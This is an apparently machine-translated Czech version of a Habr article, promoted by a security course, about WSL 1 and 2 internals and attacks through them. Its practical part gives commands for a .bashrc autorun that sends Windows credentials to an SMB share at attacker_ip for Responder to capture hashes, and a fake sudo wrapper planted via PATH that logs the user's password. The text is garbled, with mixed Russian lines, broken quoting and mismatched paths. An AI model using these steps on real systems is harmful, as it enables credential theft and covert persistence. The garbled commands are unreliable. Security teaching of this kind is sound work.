WSL experimenty. Část 1

Ahoj habr! OTUS spouští v říjnu nový stream kurzů "Zabezpečení Linuxu". V očekávání začátku kurzu s vámi sdílíme článek, který napsal jeden z našich učitelů, Alexander Kolesnikov.

WSL experimenty. Část 1

V roce 2016 společnost Microsoft představila komunitě IT novou technologii WSL (Wpropůjčuje Spodsystém pro Linux), což v budoucnu umožnilo sjednotit dříve nesmiřitelné konkurenty, kteří bojovali o oblibu mezi běžnými i pokročilými uživateli OS: Windows a Linux. Tato technologie umožnila používat nástroje operačního systému Linux v prostředí Windows bez nutnosti spouštět Linux, například pomocí Multi-bootu. Na Habr můžete najít velké množství článků popisujících výhody používání WSL. Bohužel však v době vzniku tohoto článku nebyly na tomto zdroji nalezeny žádné studie o bezpečnosti takové symbiózy operačních systémů. Tento příspěvek bude pokusem o nápravu. Článek bude hovořit o vlastnostech architektur WSL 1 a 2 a prozkoumá několik příkladů útoků na systémy využívající tyto technologie. Článek je rozdělen na 2 části. První poskytne hlavní teoretické metody útoku z Linuxu a Windows. Druhý článek bude zahrnovat nastavení testovacího prostředí a reprodukování útoků.

WSL 1: architektonické prvky

Pro co nejpřesnější ponor do bezpečnostních problémů WSL je nutné určit hlavní nuance spojené s implementací subsystému. Jedním z hlavních uživatelských úkolů řešených WSL je schopnost pracovat prostřednictvím linuxového terminálu na hostiteli s operačním systémem Windows. Nabízená kompatibilita byla také tak nativní, že spustitelné soubory Linuxu (ELF) bylo možné spouštět přímo na systému Windows. K dosažení těchto cílů byl ve Windows 10 vytvořen speciální subsystém, který umožňuje spouštět linuxové aplikace pomocí sady specifických systémových volání – byl tedy učiněn pokus mapovat sadu linuxových systémových volání na Windows. To bylo fyzicky implementováno přidáním nových ovladačů a nového formátu procesu. Vizuálně architektura vypadala takto:

WSL experimenty. Část 1

Ve skutečnosti byla interakce s operačním systémem Linux organizována prostřednictvím několika modulů jádra a speciálního typu procesu - pico. Z výše uvedeného diagramu můžete vidět, že proces běžící na instanci Linuxu na hostiteli musí být nativní a musí využívat stejné prostředky jako běžné aplikace Windows. Ale jak toho dosáhnout? V projektu Drawbridge Byly vyvinuty procesní koncepty pro Windows, které poskytovaly všechny potřebné součásti operačního systému (v závislosti na jeho verzi) pro spuštění aplikace jiného OS.

Všimněte si, že navrhovaná abstrakce umožnila nezaměřovat se na operační systém (zejména Windows), ve kterém se očekává spuštění procesu jiného OS, a navrhla obecný přístup.

Jakákoli aplikace uvnitř procesu pico by tedy mohla běžet bez ohledu na jádro Windows:

  1. Problémy s kompatibilitou a překladem systémových volání musí řešit speciální poskytovatelé;
  2. Kontrola přístupu musí být provedena prostřednictvím Security Monitor. Monitor je umístěn v jádře a proto Windows potřeboval upgrade v podobě nového ovladače, který by mohl fungovat jako poskytovatel takových procesů. Prototyp piko procesu je schematicky znázorněn níže:

WSL experimenty. Část 1

Vzhledem k tomu, že souborový systém Linux používá názvy souborů a adresářů s rozlišováním velkých a malých písmen, byly do Windows přidány 2 typy souborových systémů pro práci s WSL – VolFS a DriveFS. VolFS je implementace linuxového souborového systému, DriveFS je souborový systém, který funguje podle pravidel Windows, ale má možnost volit rozlišování malých a velkých písmen.

WSL 2

WSL 1 měl řadu omezení, která neumožňovala jeho použití k řešení maximálního rozsahu úloh: například neuměl spouštět 32bitové linuxové aplikace a nebylo možné používat ovladače zařízení. V roce 2020 proto vyšlo WSL 2, které změnilo přístup k budování subsystému. WSL 2 je optimalizovaný virtuální stroj, který odpovídá charakteristikám spotřeby zdrojů WSL 1. Nyní, v závislosti na problémech vyřešených uživatelem operačního systému Windows, můžete vybrat požadovanou verzi subsystému Linux. Pro zmírnění možných zranitelností byla implementována WSL 2 založená na Hyper-V ve Windows 10. V této podobě má Windows schopnost spouštět jádro operačního systému Linux v izolaci. Stojí za to připomenout, že verze 1 WSL byla představena jako beta funkce, která měla ukazovat směr vývoje Windows v této oblasti, takže přechod na Hyper-V byl nevyhnutelný. Finální architektura vypadá takto:

WSL experimenty. Část 1

V této verzi mají jádra Windows a Linux své vlastní prostředky a průnik existuje pouze v souborovém systému, ale tento průnik není úplný. Interakce mezi systémy souborů se provádí prostřednictvím klient-server wrapper, který pracuje pomocí protokolu 9P.

Dnes Microsoft poskytuje možnost přepínat mezi WSL 1 a WSL 2. Obě verze jsou k dispozici k použití.

Zabezpečení WSL

V současné době existuje několik prací popisujících některé přístupy k použití legitimních nástrojů OS k útoku na komunikaci mezi subsystémy. Použijeme jejich skripty ke kontrole relevance útoků v době psaní. Obecný seznam útoků a scénářů:

1. Implementace souborového systému: přístupová práva, dostupnost sdílených adresářů/mechanismy výměny dat.

Byl proveden výzkum s cílem zjistit porušení pravidel přístupu z Linux FS->Windows FS, Windows FS->Linux FS. Výzkum prokázal schopnost upravit daný soubor v rámci cílového OS. Byly také učiněny pokusy nahradit, vytvořit duplikáty a odstranit část souborových systémů.

Scénář:

  • A. Útok z operačního systému Windows - úprava souborů z adresáře /etc OS Linux.
  • B. Útok z operačního systému Linux - úprava souborů v adresářích: C:Windows, C:Program Files, C:Users<User>

2. Implementace síťového zásobníku.

Výzkum byl proveden na příkladech útoků z operačního systému Linux na Windows. Byly použity vlastnosti síťového zásobníku, jmenovitě autentizační mechanismy na různých zdrojích.

Scénář:

  • Otevření přístupu k portu, který je obsazený v systému Windows
  • Otevření portu bez příslušných práv
  • Spuštění reverzního shellu pomocí souboru elf v operačním systému Windows.

3. Skrytí spouštění procesů škodlivého softwaru pomocí subsystému WSL.

Výzkum byl založen na prostém faktu – bezpečnostní subsystémy nemohou v případě WSL 1 zachytit události v jiném jádře, které funguje pomocí legitimního poskytovatele z operačního systému. V případě WSL 2 neexistuje žádný způsob, jak zobrazit události, ke kterým dojde v samostatném jádře v rámci lehkého virtuálního stroje.

Scénář:

1) Spusťte aplikaci pro vzdálený přístup do systému a prohlédněte si protokolované události.

Experimenty WSL 1: zachycení hash (Windows)

Nakonec jsme se dostali k praktické části. Nejprve je potřeba nastavit testovací prostředí. Všechny experimenty budou prováděny na pracovním stole s nainstalovaným Windows 10 2004. Jako obraz operačního systému pro WSL byl vybrán obraz Ubuntu 18.04. Obrázek byl vybrán náhodně a jakýkoli jiný bude fungovat stejně. Příkazy pro postavení stojanu:

Nejprve musíte spustit powershell.exe jako správce.

Pro WSL 1 musíte spustit příkazy:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Po restartování stojanu můžete zavolat příkaz bash. Pokud vše fungovalo správně, uvidíte výstup podobný tomuto v konzole Windows:

    WSL experimenty. Část 1

    Jako stroj útočníka použijeme distribuci Kali Linux, všechny stroje musí být ve stejné lokální síti.

    Předpokládejme, že máme neprivilegovaný přístup k WSL na počítači se systémem Windows. Zkusme zaútočit na operační systém Linux voláním příkazu z Linuxu. K realizaci útoku použijeme jednoduchou techniku ​​autorun – přidáme náš skript pro spuštění v prostředí Linuxu. Chcete-li to provést, musíte změnit soubor .bashrc.

    Na počítači s WSL provádíme:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Na počítači Kali Linux spouštíme:

    1. Responder -I eth0 -rdvw

    Na počítači se systémem Windows spusťte bash.

    Čekáme na výsledek na stroji Kali Linux:

    WSL experimenty. Část 1

    Získali jsme tedy hashe uživatele Windows prostřednictvím subsystému WSL provedením příkazu v systému Linux.

    Experimenty WSL 1: získání uživatelského hesla (Linux OS)

    Udělejme ještě jeden experiment. Při této kontrole přidáme do souboru .bashrc několik příkazů za účelem získání hesla uživatele operačního systému Linux.

    Spusťte bash a zadejte příkazy:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    K úspěšnému dokončení útoku musí uživatel Sam zavolat sudo v terminálu Linux. Poté bude v souboru heslo uživatele OS Linux pass.txt:

    WSL experimenty. Část 1

    Realizace útoků byla uvedena pouze pro teoretickou informaci.

    V další části článku bude popsána implementace protokolu 9P, zvážení vytvoření skeneru pro tento protokol a také provedení útoku pomocí něj.

    Seznam použité literatury

    WSL experimenty. Část 1

    Přečtěte si více

    Zdroj: www.habr.com

    Přidat komentář